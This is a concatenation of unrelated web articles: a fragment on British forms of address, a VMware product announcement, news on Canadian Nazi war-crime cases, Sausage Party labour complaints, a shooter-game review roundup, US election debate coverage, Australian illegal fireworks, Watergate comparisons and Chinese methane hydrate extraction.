Brown". It is important to note that while the style may appear diminished, the precedence taken increases from that of a wife of a knight to that of a wife of an earl's eldest son. ^ The exact form of a Scottish chief's style varies from family to family, and is generally based on tradition rather than formal rules. ^ Some circuit judges – for example, the Recorder of Liverpool or circuit judges sitting in the Central Criminal Court – are addressed in court as "My Lord" or "My Lady". a b "Master" is used as the form of address whether the High Court Master is male or female. a b This is the full name and title as it would be according to the rules elsewhere on this page, e.g. The Viscount London, Sir John Smith, KBE, Professor Jane Doe, Dr Tom Brown. ^ Check official title for the university concerned: The Reverend the Vice-Chancellor (Oxford) The Right Worshipful the Vice-Chancellor (Cambridge), The Vice-Chancellor and Warden (Durham), The President and Provost (UCL), etc. ^ If a professor holds an ecclesiastical rank this, strictly speaking, supersedes the academic rank. However, the academic style may still be used within academia and the two can be combined, e.g. as The Reverend Professor Jane Smith. If a professor holds a peerage or a knighthood, this title can be combined, e.g. Professor Lord Smith, Professor Sir John Smith, Professor Dame Jane Smith. a b The forms off address for a doctor applies to "the recipient of a doctorate conferred by a university or other body, such as the Council for National Academic Awards", not just those working in academia. The exception is surgeons, who are never addressed as Doctor even if they hold a doctorate. ^ Doctorates in divinity and medicine are always given as letters after the name, and this form may optionally be used for doctorates in other faculties. If "Dr" is used before the name, degrees are not given after it. -We’re excited to announce VMware Workstation 11 and Player 7 Pro today with general availability in December 2014. VMware Workstation 11 VMware Workstation™ 11 delivers leading-edge features and performance that technical professionals rely on every day when working with virtual machines. With support for the latest version of Windows and Linux, the latest processors and hardware, and the ability to connect to VMware vCloud Air, VMware Workstation is the perfect tool to increase productivity, save time and leverage the cloud. VMware Workstation 11 updates include: Ready for Windows 10 Tech Preview – Run hundreds of operating systems including the latest Microsoft Windows 10 Tech Preview. Technical users can also run the latest Linux distributions including Ubuntu 14.10, RHEL 7, CentOS 7, Fedora 20, Debian 7.6 and many more. – Run hundreds of operating systems including the latest Microsoft Windows 10 Tech Preview. Technical users can also run the latest Linux distributions including Ubuntu 14.10, RHEL 7, CentOS 7, Fedora 20, Debian 7.6 and many more. State of the Art Performance – VMware Workstation supports the latest Intel 64-bit x86 processors, including the new Haswell microarchitecture for maximum performance. Taking advantage of key new Haswell extensions, the solution also delivers up to 45 percent improvement in CPU intensive operations like multimedia and encryption/decryption compared to Workstation 10. – VMware Workstation supports the latest Intel 64-bit x86 processors, including the new Haswell microarchitecture for maximum performance. Taking advantage of key new Haswell extensions, the solution also delivers up to 45 percent improvement in CPU intensive operations like multimedia and encryption/decryption compared to Workstation 10. Powerful Virtual Machines and Graphics – Create virtual machines with up to 16 vCPUs, 8 TB virtual disks, 64 GB memory, and now 2GB video memory. Graphics-intensive applications can now be given an additional boost by allocating up to 2 GB of video memory per virtual machine. – Create virtual machines with up to 16 vCPUs, 8 TB virtual disks, 64 GB memory, and now 2GB video memory. Graphics-intensive applications can now be given an additional boost by allocating up to 2 GB of video memory per virtual machine. Connection to VMware vCloud Air – Connect to VMware vCloud Air to extend and scale virtual machines on a public cloud. Developers can easily connect to VMware vCloud Air and upload, run, and view virtual machines right from the Workstation interface to easily collaborate with remote team members and scale through a public cloud. VMware Player 7 Pro VMware Player 7 Pro™ is a streamlined desktop virtualization application that runs multiple operating systems on the same computer without rebooting. With its simple user interface, unmatched operating system support and portability, it’s now easier than ever for IT professionals to get their users up and running with a corporate desktop. Player 7 Pro is licensed for commercial use and is enabled to run restricted virtual machines created by VMware Workstation 11 and Fusion® Pro 7. Key Features Include: Enhanced Operating System Compatibility – VMware Player 7 Pro will run on the latest release of Windows including Windows 8.1 and will support prevalent operating systems like Windows XP and Windows 7 in a virtual environment so users can continue to run legacy applications as long as they need. – VMware Player 7 Pro will run on the latest release of Windows including Windows 8.1 and will support prevalent operating systems like Windows XP and Windows 7 in a virtual environment so users can continue to run legacy applications as long as they need. Greater Hardware Compatibility – VMware Player 7 Pro will be optimized to run on today’s modern hardware including the latest PC laptops and high-resolution tablets. – VMware Player 7 Pro will be optimized to run on today’s modern hardware including the latest PC laptops and high-resolution tablets. Updated VMware Compatibility – VMware Player 7 Pro will be able to run restricted virtual machines created by VMware Workstation 11 or VMware Fusion 7 Pro. Restricted virtual machines secure corporate desktops with encryption, runtime password protection, USB access restriction, isolation between the host and guest OS, and time limitation. New System Requirements While 32 bit operating systems are supported inside virtual machines, VMware Workstation 11 and Player 7 Pro will require 64 bit processor and 64 bit host operating systems for advanced computing and enhanced performance. Availability and Pricing VMware Workstation 11 and VMware Player 7 Pro will be available for purchase in December for $249.99 and $149.99 respectively. Upgrades from VMware Workstation 9.x and 10.x to Workstation 11 will be priced at $149.99 and upgrades from VMware Player 6 Plus to VMware Player 7 Pro will be priced at $79.99, at the time of availability. Customers who purchase VMware Workstation 10 and VMware Player 6 Plus between October 2014 and December 2014 will receive a free electronic upgrade to VMware Workstation 11 and VMware Player 7 Pro respectively. For more details, visit the upgrade page. -Back in the 1990s, Steve Rambam posed as a university researcher to get war criminals to tell him their stories. In Hope, B.C., he interviewed Antanas Kenstavicius. “He was a police chief in Lithuania and his unit, under supervision of Germans, rounded up 5,000 Jews. They were locked up for a week, the women raped, their belongings looted. Then they lined them up naked in the ditch… it took them six days to kill them all by gunfire. This guy was telling me all this matter-of-factly. He told me: ‘Then on Nov. 19, no more Jews.’” It took them six days to kill them all by gunfire. This guy was telling me all this matter-of-factly Proceedings to deport Mr. Kenstavicius began in 1997; the 90-year-old died the same day. The case was not the first, or last, Canadian failure to bring suspected Nazi war criminals to justice. Nazi hunter @StevenRambam to speak in Toronto, June 24. Fundraiser for United Chesed unitedchesed.com/store/c1/Featu… http://t.co/j7ePBd2mr0 — Dave Gordon (@davegordonwrite) May 13, 2014 It is estimated that between 2,000 and 5,000 war criminals fled to Canada after the Second World War, but not one Nazi has ever been successfully prosecuted in this country. “It is to the Canadian government’s great and eternal shame that more was not done,” said Mr. Rambam, the renowned “Nazi hunter” who will be in Toronto on Tuesday for a charity event. Activists say it’s not too late for Canada to act. A handful of cases are still actionable. Looking back, a key problem was that for decades Canada did not actively pursue suspected war criminals, and when it did decide to launch proceedings they were done badly and ineffectively, said David Matas, senior legal counsel of B’nai Brith Canada. “Canada started too late; there were just too many perpetrators; too much evidence had been destroyed or lost. The effort was more an attempt to construct a justice legacy for the victims of the Holocaust,” said Mr. Matas. The seeds of Canada’s inaction were sown three years after the end of the war. The allied powers decided that prosecuting war criminals would end and the British Commonwealth Relations Office wrote to the dominions explaining the policy. The punishment of war criminals is more a matter of discouraging future generations, than of meting out retribution “In our view, the punishment of war criminals is more a matter of discouraging future generations, than of meting out retribution to every guilty individual,” wrote the department, as revealed by Franklin Bialystok in his book Delayed Impact: The Holocaust and the Canadian Jewish Community. The letter went on to say it was “now necessary to dispose of the past as soon as possible.” In 1985, pressure from the Jewish community led Brian Mulroney to set up a Commission of Inquiry on War Criminals, headed by Jules Deschênes. The Deschênes Commission put forward the names of 883 suspects. From 1987 to 1992 just 26 cases were filed before the justice system; charges were laid under the Criminal Code in four cases. The man in the dock in 1987 was Imre Finta, the first suspect to be accused under new laws on war crimes. Mr. Finta, who came to Canada in 1948 and died here in 2003, was accused of being a key official in the rounding up of Jews in Szeged, Hungary, in 1944 and sending them to Auschwitz and to Strasshof. His acquittal in 1990 shut down any hope of winning criminal proceedings against Nazi war criminals. “Finta presented no evidence to answer the charges against him,” Mr. Matas said. “When asked if he wanted to call evidence on his own behalf at his criminal trial he declined. Yet he was acquitted.” Why? The courts allowed a defence that said believing Jews to be the enemy was a legitimate reason for killing them. Two appeal courts agreed. Parliament later legislated to overturn the reasoning in the Finta case in 2005. But by then it was too late to recommence prosecutions, Mr. Matas said. After the failure of criminal prosecutions, the government in 1995 announced it would use such administrative measures as revoking citizenship and ordering deportation. Under this new course of action, two men were extradited and five deported. Bernie Farber, former head of the Canadian Jewish Congress, calls a 90-year-old Kitchener, Ont., man, Helmut Oberlander, the “final symbol” of Canada’s failure on this issue. In fact, three cases could still be acted on: those of Mr. Oberlander, Vladimir Katriuk, and Wasyl Odynsky. Mr. Oberlander was part of a Nazi killing squad, Einsatzkommando 10a, which operated in the eastern occupied territories during the Second World War. Mr. Oberlander admits to serving with the “German armed forces” but says he never subscribed to the Nazi ideology or participated in any killings. A judge ruled in 2000 that Mr. Oberlander worked, lived, and travelled as an interpreter for a Nazi mobile death squad and, although there was no evidence he participated in atrocities, he must have been aware of them. Mr. Oberlander has been fighting attempts to strip him of his citizenship and deport him since 1995. There is no justification for continuing to give him a haven In 2008, he was stripped of his citizenship for a second time, but in 2009, the Federal Court of Appeal instructed the federal cabinet to reconsider because of Mr. Oberlander’s assertion that he joined the squad as an interpreter under duress. In 2012, Mr. Oberlander, a Ukrainian Canadian, was again stripped of his citizenship and immediately mounted a counter challenge. The Federal Court heard the appeal in February this year, but has not yet released a decision. Mr. Oberlander could not be contacted for comment. Vladimir Katriuk, ranked No. 4 on the Simon Wiesenthal Center’s most-wanted list, came to Canada under a false name in 1951. In 1999, the Federal Court ruled he had obtained his Canadian citizenship by misrepresentation, but found there was no evidence he had committed atrocities. The cabinet decided in 2007 not to revoke his citizenship New evidence in the case came when declassified records released in 2008 documented that a man with the same name as Mr. Katriuk, currently in his 90s and living on a farm in Ormstown, outside of Montreal, was a commander of a platoon in a battalion that perpetrated a massacre in a Belarusian village in 1943, and that he personally opened fire with a machine gun. B’nai Brith wrote to the government in 2011 urging that the government reverse the Katriuk decision. “The information we now know about Mr. Katriuk makes it unconscionable for the existing decision … to stand. There is no justification for continuing to give him a haven in Canada,” it said. The organization never got a response. Mr. Katruik has consistently refused to talk publicly about his past. His wife told the National Post on Thursday that he would not be answering any questions. Wasyl Odynsky came to Canada in 1949. Mr. Odynsky, 90, who had been living in Toronto but whose whereabouts are not known, was accused of serving as a guard at two forced labour camps and in an SS battalion. While a Federal Court ruled in 2001 that he had lied to gain entry to Canada, it also found that he was unlikely to have participated in a massacre of Jewish captives. In 2007 the government decided not to take away his citizenship. B’nai B’rith is also challenging that decision. Mr. Rambam, the U.S. private investigator who will speak at an event for impoverished Jews in Toronto on Tuesday, believes scores of war criminals are still living in Canada. “Entire units came en masse into Canada through Halifax in the 1940s,” he said. “Canada knew at that time who they were. “If there are a few cases that can still be brought, just for the sake of doing the right thing, then that should happen.” “None will live long enough to make it to trial, they will hire excellent lawyers. … They’ll delay and throw legal roadblocks in the way until they have died safely in their beds, but it’s the point of doing it.” It was the justice system itself that in the end let us down Mr. Rambam interviewed 72 out of a list of 1,000 suspected Nazis living in Canada. His work was sent to the authorities, but he said little was done. “It’s a stain on the history of Canada,” he said. Mr. Farber views things slightly differently. “The government did look at this matter with laser focus, so I think we have to give them credit … they tried. It was the justice system itself that in the end let us down.” Paloma Aguilar, a spokeswoman for the Department of Justice, said individuals who have been involved in war crimes or crimes against humanity would find no haven in Canada. “The Deschênes Commission put forward the names of 883 suspects. To this day, federal authorities have investigated upward of 2,000 files,” she said. “The government continues to receive allegations, all of which are examined.” National Post -Sausage Party has become the surprise hit of a summer sorely lacking in them, making almost $37 million on a $19 million budget. Well, now animators are speaking out about how the film kept costs down. Stories about horrible working conditions first started coming out in the comments of a Cartoon Brew interview with directors Greg Tiernan and Conrad Vernon. Anonymous commenters claiming to have worked on the film flooded the article with complaints about working for Nitrogen Studios. Here are a few examples: The production cost were kept low because Greg would demand people work overtime for free. If you wouldn’t work late for free your work would be assigned to someone who would stay late or come in on the weekend. Some artist were even threatened with termination for not staying late to hit a deadline. Almost half the animation team was not credited. The team believed in this film and poured their hearts and souls into it. Despite this, more than half of it was not credited. You can see the full team on IMDB, which contains 83 people (and I am certain there are some missing). The film’s credits, however, contains 47. All of the comments are truth or maybe rather written too lightly. I personally know & witnessed many other incidents during the production; such as an “Open Letter” to the clients, and how Greg threatened artists for it. I cannot put more details because I’m scared of revealing my identity.. and *I really want to keep working in this industry* Sickening how one can brag about production cost, when he was the one who demanded artists to work for free, otherwise get fired. Advertisement It made sense that the commenters were anonymous: everyone was afraid of reprisals, especially since the stories included Tiernan threatening to ruin people’s careers. But, of course, that also made it hard to verify. Now Variety has talked to the animators while keeping their names out of the story. And it all sounds true. The “Open Letter” referenced above was a petition sent to Annapurna Pictures—the production company behind the film—by the animators telling them about the conditions. According an animator, one of the reasons they had to send a letter to the clients was because the person that received the complaints about Nitrogen was Nicole Stine, Tiernan’s wife. “There was no one you could go to,” the animator told Variety. “It was uncomfortable.” Advertisement Nitrogen Studios is based in Vancouver, and conditions similar to these are apparently the norm in non-US-based animation studios. It’s a combination of an overabundance worldwide of animators, making it hard to rock the boat when you know it’s easy to be replaced, and Canada providing tax incentives for productions. In Los Angeles, animators are unionized and have protections workers in other countries just don’t have. Sony, which distributed the film, and Annapurna didn’t comment on the Variety story, while Tiernan told Variety that the complaints were “without merit” and wouldn’t explain why they existed, if they weren’t true. “We take these things seriously and don’t want to ignore these claims,” he said. Now that complaints been made public, they can’t. [Variety] -This week's edition of Critical Reception examines online reaction to People Can Fly's first-person shooter, which reviews describe as "an intelligent, nuanced design with fathoms of depth."currently earns a score of 86 out of 100 at Metacritic.com.David Houghton at Games Radar scoresat 10 out of 10 . "," he begins, "is a very intelligent, highly intricate, and sumptuously nuanced design masquerading as a big dumb action game. In fact it's such an evolution of the FPS experience that it's very probably destined for that pantheon of rare games to be deemed worthy of the word 'important' in a couple of years time."is not just a shooter," Houghton explains. "In fact, once you've taken the time to really explore its depths, you'll realise that being a shooter is just one small part of what it's about. It's just as much a 3D puzzle game, high-speed strategy game, and even, if you really get into it, a bit of a maths challenge too."'s combo system proves to be a compelling mechanic. "You're constantly judged on the complexity and inventiveness of your kills, and scores decrease with repetition," Houghton says."The points you score for clever killing are the currency you use to buy new weapons, as well as functionality upgrades for your existing ones. Every gun and additional perk is meticulously designed to integrate with and balance against the others, opening up a pantheon of new options with each one that's added to the mix."These options make up's comprehensive list of Skill Shots, a line-up of circumstantial kills and stacked combos detailed in the pause menu, which comprise every possible violent interaction you'll concoct and plenty you won't. We're talking well over a hundred individual 'moves' here, with an accessible freedom of blendability that evokes the glory days of's combo system."This ultimately defines the experience, according to Houghton. "None of this creative killing is any mere gimmick. It all serves serious purpose," Houghton says. "The kind of interactions most games save for their most inventive Achievements or Trophies,builds its core game around. And when you really start plumbing its depths you'll discover a sense of personal involvement and purpose within its world that genuinely is groundbreaking.""Forget your preconceptions ofas a foul-mouthed big dumb action game," Houghton writes. "It's an intelligent, nuanced design with fathoms of depth, which marks a return to the importance of player creativity in shooters and simultaneously evolves the concept of interactivity in an FPS world. And with two cleverly complimentary secondary modes, it will have serious legs for a good long while to come."IGN's Arthur Gies ratesat 8 out of 10 . "At face value I shouldn't like," he begins. "It comes off as obnoxious and crass, full of toilet humor, emphasizing a sort of dickish boldness and attitude that's been driven into the ground by countless shooters over the last few years.""So it's a surprise then thatis actually something kind of special," Gies says. "Sure, it's still brash, and it's still full of toilet humor, but with context,is a violently charming popcorn shooter that plays well with some great design."Gies praises's Leash weapon, in particular. "The Leash allows Grayson to snag enemies and fling them into the air in slow motion, and its AI has been designed to evaluate combat performance � it rewards balls-out combat bravado in the form of points that can be redeemed at Confederate resupply pods scattered around the planet," he explains. "By combining shots to specific appendages and/or bathing suit areas with standing and sliding kicks, the Leash, and various environmental hazards, you'll discover a variety of named kill combos that reward more points than standard shots."Gies continues: "The Leash AI takes all of's unique and genre-defying mechanical elements and makes sense of them within its own particular reality. It's... smart. Who'd have thought, particularly given the throwback nature of's first person shooting? There's no cover, enemies aren't especially smart, and levels are a straight shot from A to B, butstill impresses. In tandem with shooting that feels responsive and meaty, with powerful, interesting weapons, the combo system makes's combat a success."disappoints with its omission of cooperative play, however. "The time-and-score-attack Echo mode is a nice enough inclusion with its online-enabled leaderboards, but why isn't there leaderboard-enabled campaign scoring in the main game?" Gies asks. "Campaign co-op also seems like a missed opportunity; you have at least one AI partner at all times in, which makes the solo-only nature of the main game that much more jarring. Campaign leaderboards would help give replay value to a main game that I finished in less than six hours, and Echo just didn't hold my attention."demonstrates the value of 'why' for action games," Gies asserts. "Taken out of the context of its fiction, People Can Fly would have something fun but forgettable on their hands, but the wayfits together results in something cool and memorable. Multiplayer failings notwithstanding,shines as a single-player shooter."Taylor Cocke at 1UP.com gives a B- grade . "Billed as the 'antidote' to the modern shooter,is certainly on a much higher level of ridiculousness than, say, thefranchise or the recent reboot of," he notes. "Even its sister series,, which is over-the-top in its own right, can't keep up with's old school, hyper masculine tendencies. And yet, it doesn't go quite far enough."Cocke finds that's limp narrative is one of its greatest shortcomings. "Unfortunately,doesn't manage to escape the pitfalls of those it seemingly attempts to lampoon," he explains. "The story revolves around Grayson's obsession with taking down his former commanding officer Serrano for a past deception that caused Grayson and his covert operations unit, Dead Echo, to assassinate various innocent citizens under the pretense that they were enemies of the state. Of course, upon discovering that fact, Grayson declares that he'll have his revenge. Sound too serious? It really is."Cocke continues: "All the game needed to was a simple excuse to go on a rampage, not a deep motivation to appease some sort of indignant revenge desire. For a game ostensibly based around absurd violence and 'killing with skill', the seriousness of the plot feels like a misstep."This softens the impact of's over-the-top gameplay. "There's a discrepancy between the Skillshot-heavy gameplay and the overtly serious plot that drags the campaign down," Cocke writes. "While I attempted to have a good time with action and vulgar jokes, the plot intruded. All I wanted to do was kick fools into massive cactus spikes (for the Pricked Skillshot, of course), but I the generic, all too serious plot points simply took my maniacal murderous rage, previously aimed at the on-screen enemies, and redirected it right back at the unnecessarily humorless plot."is a game unsure of what it wants to achieve," Cocke concludes. "When it lets itself, it's a fantastic adrenaline rush through well-constructed set-pieces and gloriously fun-to-watch violence. But it too often drags itself down with overly structured situations and restrictive, strategy-heavy gameplay."It feels like if chaos had been allowed to take the design process over, this could have had one of the most fun shooters of our generation, but as it stands,is a mechanically enjoyable game that's missing what it needed to be great." -Hillary Clinton and Bernie Sanders were asked directly if Donald Trump is a racist at Wednesday’s Democratic debate in Miami. “Secretary Clinton, you have known Donald Trump a long time. You have seen what kind of campaign he’s running,” the Washington Post’s Karen Tumulty said 20 minutes into the debate. “Secretary Clinton, is Donald Trump a racist?” Clinton first said she prefers to keep the Democratic primary about Democrats, then reiterated her criticisms of Trump’s xenophobic and anti-immigrant rhetoric — and added a splash of spanish. “I was the first one to call him out. I called him out when he was calling Mexicans rapists, when he was engaging in rhetoric that I found deeply offensive. I said basta,” she said, drawing applause from the room. “And I am pleased that others are also joining in making clear that his rhetoric, his demagoguery, his trafficking in prejudice and paranoia has no place in our political system. Especially from somebody running for president who couldn’t decide whether or not to disavow the Ku Klux Klan and David Duke.” Advertisement Pressed by Tumulty, she again demurred from the journalist’s label but said the Democratic nominee “can make the case against him, if he is the nominee, by pointing out what he has said, what he claims to believe in, the values he’s promoting. I think that’s a better way for the American people to draw their conclusions.” Tumulty put the question differently to Sanders, asking if it was fair to say Trump is racist. Sanders also declined to provide a direct yes-or-no. After saying that Americans will never elect someone who insults Mexicans, Muslims, women, and African-Americans, Sanders pointed out Trump’s prominent role in a racist smear of Barack Obama. “And let us not forget that several years ago Trump was in the middle of the so-called Birther movement trying to delegitimize the President of the United States of America,” Sanders continued, to applause. “My dad was born in Poland and I know a little bit about the immigrant experience. Nobody has ever asked me for my birth certificate. Maybe it has something to do with the color of my skin.” Meanwhile on the right, Trump’s rise has helped reinvigorate avowed white supremacist groups. “Demoralization has been the biggest enemy and Trump is changing all that,” Stormfront founder Don Black recently told Politico. Advertisement The Southern Poverty Law Center’s recent report on white nationalist activity in 2015 found a 14 percent rise in the number of hate groups, and cites other research finding more people were killed by domestic terrorists in 2015 than in any year since 1995. According to the group, this moment is comparable in radical white racist activity to 1968, the year Martin Luther King Jr. was assassinated. In a sense, then, the Grand Old Party is coming full circle on its long-running strategic deployment of coded racism that prominent Republican strategist Lee Atwater described at the dawn of the Reagan era. -Fireworks black market: Experts struggle to halt sale of illegal crackers Posted Pyrotechnics experts are warning it will be difficult to stop Australia's dangerous underground market of illegal professional-grade fireworks. Police are urging people to hand in their stashes of illegal fireworks before Australia Day, as they investigate two deaths from accidents with the devices. A 52-year-old man on the NSW Central Coast and a 46-year-old man in Victoria's Gippsland died after they attempted to set off illegal crackers on New Year's Eve. Australia's fireworks industry is made up of between 250 to 300 companies. Christian Howard, the president of the Pyrotechnics Industry Association, said the black market fireworks were sourced from legal suppliers in Australia, rather than imported from overseas. "I think the legal market of suppliers sell to the legal users, that they potentially on-sell them to the illegal market," he said. "So there's a supply chain that's all legal and then at some point people start selling them to the public. "I think there is a small amount of direct import but I think that's actually been slowed down in the last 10 years. It's very difficult to export them and import them into the country." Mr Howard admits it will be difficult to stop the black market in illegal fireworks. "There was a person selling fireworks out of a white van in Western Sydney and one of my colleagues who worked in the area just advised me that they were there. "We alerted the authorities. "They worked out he'd sold several hundred cartons of fireworks per year, just as a one person driving around in a van making a lot of cash on the side." That person was linked back to a legal supply chain. "In actual fact, he had a licence to use pyrotechnics but he would buy them and not use them, he would buy them and sell them, which is illegal because you need a licence to sell." Fireworks are also freely for sale on the internet, including on Facebook. "We take a lot of time and energy to make sure as an industry that we are safe with storage, handling, using, transporting and then the fact that then anyone can then buy them or sell them online and the general public is then using fireworks," Mr Howard said. "And probably most of the time they are not low-level fireworks, they are probably the professional-grade, high-altitude aerial shells, which are very dangerous." 'Hand them in', police warn The sale of fireworks is banned in Australia, except on a single day in the Northern Territory, and under tight controls in Tasmania. The deaths of two men on New Year's Eve are believed to be the first deaths from illegal crackers in four years. Victoria's Deputy Commissioner Andrew Crisp has urged people who may be holding onto illegal fireworks for Australia Day to hand them in. "If you have illegal fireworks hand them in, report to Victoria police report to Worksafe, if you know of someone whose got illegal fireworks, similarly report it. "How would you feel if you knew someone was about to let off illegal fireworks and it resulted in serious injury or the death of another person?" Topics: accidents---other, accidents, disasters-and-accidents, law-crime-and-justice, crime, australia, nsw, vic -Watergate veterans have seen this movie before about a president firing his attorney general to stop an investigation. It didn’t work back then, and the consensus among three Watergate insiders interviewed by The Daily Beast is that it won’t work now. Just as the Saturday Night Massacre in October 1973 marked the beginning of the end for President Nixon, who resigned in August 1974, President Trump would grease the skids for himself if he tries to replace Attorney General Jeff Sessions with someone who would fire special counsel Robert Mueller. “Mueller is the kind of guy who would say, ‘Fire me without cause, and I’m going to Court.’ And that could end up strengthening the Special Counsel,” says John Dean, Nixon’s White House counsel during much of Watergate. “They can’t just cook up a PR campaign. It’s like the Muslim ban. You just can’t do it and pretend there’s cause. The courts could come in and play havoc with Trump. It’s amazing the institutions are working exactly the way they should. It’s a pleasant surprise.” Conservative backing for the embattled Sessions appears to have scared Trump off Sessions, at least for now, as some Republicans are beginning to show some backbone. Senate Judiciary Chairman Chuck Grassley tweeted that there is no room on the committee’s schedule to confirm a new AG—and if Trump tried to slip one in while the Senate was in recess, it would almost certainly trigger a constitutional crisis. Public outrage forced Nixon to name a second special prosecutor to replace the fired Archibald Cox. The White House thought Texas lawyer Leon Jaworski wouldn’t be overly aggressive. After he heard the tape of Dean telling Nixon there is a “cancer on the presidency,” Jaworski told Dean he knew the president was “guilty as sin.” I asked Dean if he thought we could get that kind of clarity today. After all, as Trump likes to point out, the FBI has been investigating the Russia connection for a year, and no one has been charged with a crime. “We’re in a different technical era,” Dean replied. “Who knows what’s out there today. Who knows what the NSA is sitting on. None of us have seen this intelligence.” As news has poured in over the less than 200 days that Trump has served as president, people have forgotten how “agonizingly slow Watergate was,” says Dean. Nixon’s resignation on Aug. 8, 1974 came 782 days after the June 17, 1972, break-in. It was 920 days after the break-in that a jury found former Attorney General John Mitchell and aides H.R. Haldeman and John Ehrlichman guilty of conspiracy to obstruct justice. Elizabeth Holtzman was a member then of the House Judiciary Committee, chaired by Democrat Peter Rodino in the Democratic controlled House, and in her telling, the Democrats took no action even as the taping system in the White House was disclosed, along with Dean’s “cancer on the presidency” and reports of the Watergate burglars being paid off with hush money (PDF). There were serious abuses of power, if not criminality by the president. In July of 1973, Father Drinan, a Democratic congressman from Massachusetts, filed an article of impeachment based on Nixon’s secret bombing of Cambodia. “And nobody paid attention,” she says, even as Nixon was trying to dismantle a signature Great Society program, the Office of Economic Opportunity. “So you had the president thumbing his nose at limitations of power, but none of that moved anybody in the leadership of the House. Peter Rodino had no interest in impeachment. It was really forced by the American people.” The trigger event was the Saturday Night Massacre. Members of the House were inundated with phone calls and telegrams. “The American people were outraged. It was an amazing shift in public opinion,” says Holtzman. “My office was flooded with messages. That’s what started the process [of impeachment]. It was not a partisan process. “The lesson for Trump is if the American people realize that he’s threatening our democracy, and they don’t want to be a banana republic, the president can’t pick his prosecutor. They can force the Congress into action. Nixon had a huge landslide victory in 1972 and 11 months later, the Saturday Night Massacre was the beginning of the end. We expect our president to obey the law.” When the Senate Judiciary Committee confirmed Elliot Richardson as Richard Kleindienst’s successor in May ’73, they made him name a special prosecutor to their liking, Archibald Cox, and pledge that he would not fire Cox except for “extraordinary improprieties,” a Justice Department regulation that Deputy Attorney General Rod Rosenstein has adopted in saying he would not fire special counsel Robert Mueller except for “cause.” Richard Ben-Veniste was one of the lead Watergate prosecutors, “following money to find a motive,” he recalled to The Daily Beast, from the Committee to Re-elect the President (CREEP) and then ultimately the White House. He explains that here, investigators are probing Trump’s financial dealings to determine whether they provide a motive for Trump asking Comey to go easy. Ben-Veniste reminds those impatient with the pace of the Russia investigation that for a long period after the break-in, the White House was successful at deflecting investigative efforts to determine who sponsored it. Those efforts to deflect turned out to be obstruction of justice, so a separate crime was committed. As today’s investigation unfolds, he cautions that “we are drifting into what may be uncharted waters if Trump makes good on his threat to fire Mueller. That would create a constitutional crisis.” Asked how that might play out, he says it’s “unclear whether Trump would find anyone” to fire Mueller if Rosenstein refused. Asked how far down in the Justice Department Trump could go, Ben-Veniste said, “I don’t know if the elevator goes down that far.” He concluded our conversation saying that if Trump does what everybody is advising him not to do, and one way or another, gets rid of Mueller, it will come down to “whether Republicans in Congress can put country above party. Our system will be severely tested, and we will find out whether we are a government of laws, where the rule of law is respected, or whether an outrage like firing a person lawfully appointed is acceptable to one political party.” If Trump understood Watergate, he’d be having second thoughts about trying to push out Sessions, says Dean. Unlike Sessions, who has significant support both in the Senate and in the conservative media, Kleindienst was easy to toss overboard. During marathon confirmation hearings over a record 22 days, he repeatedly perjured himself on his knowledge of an antitrust case that involved a $400,000 payoff to the 1972 Republican convention. The case had nothing to do with Watergate, but Kleindienst resigned under fire the same day (April 30, 1973) that Nixon announced the resignations of Haldeman and Ehrlichman, and fired Dean. At least Nixon didn’t trash Kleindienst in public, I ventured in my conversation with Dean. “Nixon did that in private,” he said, before there was Twitter. “There’s no one who worked for Nixon he hadn’t trashed on the tapes.” Dean calls the break-in of Daniel Ellsberg’s psychiatrist’s office in September of 1971 the reason the White House was so concerned about the Watergate break-in. Gordon Liddy, who headed the White House Plumbers unit (named for its initial mission of plugging leaks), had used two of the same guys, who were now in jail and could tie the break-ins to the White House. “Otherwise we would have cut the Re-Elect loose,” says Dean. Liddy’s plan had gotten shot down twice before Mitchell signed off, saying, “give them $250,000 and see what they come up with.” The casual straying from dirty tricks to criminal behavior is striking. “We wrote the book on what not to do, and Trump doesn’t seem to have any knowledge of what’s in that book,” says Dean. “A lot of Watergate is just bungling—it’s pure bungling—stupid things, like not hiring a lawyer. I tried to get Ehrlichman to agree to a criminal lawyer on my staff after Liddy confessed to me the same people were used in the Ellsberg break-in—the first I heard of the Ellsberg break-in. Ehrlichman shot me down.” After he left the White House, Dean learned of a handwritten memo signed by Ehrlichman authorizing the Ellsberg break-in “as long as it is not traceable to the White House.” It was an options memo on how to deal with Ellsberg, who had released the Pentagon Papers, and one of the options suggested by the Plumbers was to enter his psychiatrist’s office, take his files and use them to discredit him. Nixon launched into the cover-up very early, not because anybody told him about the Ellsberg situation, but because he was concerned about Mitchell, says Dean. “But for John Mitchell, he never would have become president. Mitchell is to Nixon what Trump’s family is to him—you can’t get any closer.” When Nixon came to New York from California, Mitchell set him up as a partner in a prestigious law firm, put money in his pocket, and when Nixon decided to run again in 1968, Mitchell ran the campaign. Mitchell didn’t want to be attorney general, according to Dean, but Nixon insisted, and the president was very worried on a personal level about Mitchell. “And that comes through on the tapes,” says Dean. “Four days after the arrest of the Watergate burglars, there’s a conversation where Nixon says, ‘Let’s just put all the facts out, put this thing behind us—but if that’s going to hurt Mitchell, we can’t do it. “That was a bungle,” says Dean. At every point where they could have cut their losses, they dug in deeper, and the crimes piled up under the heading conspiracy to obstruct justice. There was also the cover-up Nixon got away with, says Dean, by intentionally disrupting President Johnson’s efforts to get peace in 1968. Nixon biographer John Farrell found the evidence in Haldeman’s notes, “and if that isn’t treason it sure does look, feel and smell like it,” says Dean. “It was long suspected that Nixon wanted to break into the Brookings Institution when he heard they had ‘bombing halt’ papers. He might have been worried they had papers somehow showing what he had done with South Vietnam.” The Republic survived Watergate and people thought the safeguards put in place afterward ensured that a scandal of that magnitude could never happen again. Forty government officials were indicted or went to jail. One Senate investigator who did not want to give his name told The Daily Beast, “In retrospect, everyone in the administration who got anywhere near Watergate, even tangentially, lied or sat still while other people lied. It was a lesson in an administration going absolutely wild. My whole generation of lawyers and politicians feel this is history repeating itself—the same personal characteristics, personal weaknesses, the same personal desire to acquire and embrace power.” Some people saved their reputation then, notably Attorney General Richardson and his deputy, William Ruckelshaus, who defied Nixon’s order to fire the special prosecutor. We’re waiting for today’s profiles in courage. There should be ample opportunity. -China’s Digging Since the industrialization of coal, the world has sourced much of its energy from fossil fuels. While the global energy landscape has started to change again over the past several years, with the introduction of more renewable and cleaner sources, fossil fuels are still the main source of much of today’s energy. However, it looks like China has now found a way to access a previously elusive source of energy. Reports from China’s Ministry of Land and Resources claim that the country has successfully extracted methane hydrate — also known as “flammable ice” — from beneath the South China Sea, just 300 kilometers (186 miles) southeast of Hong Kong. “We brought the gas to the surface and have lit it up since May 10. By 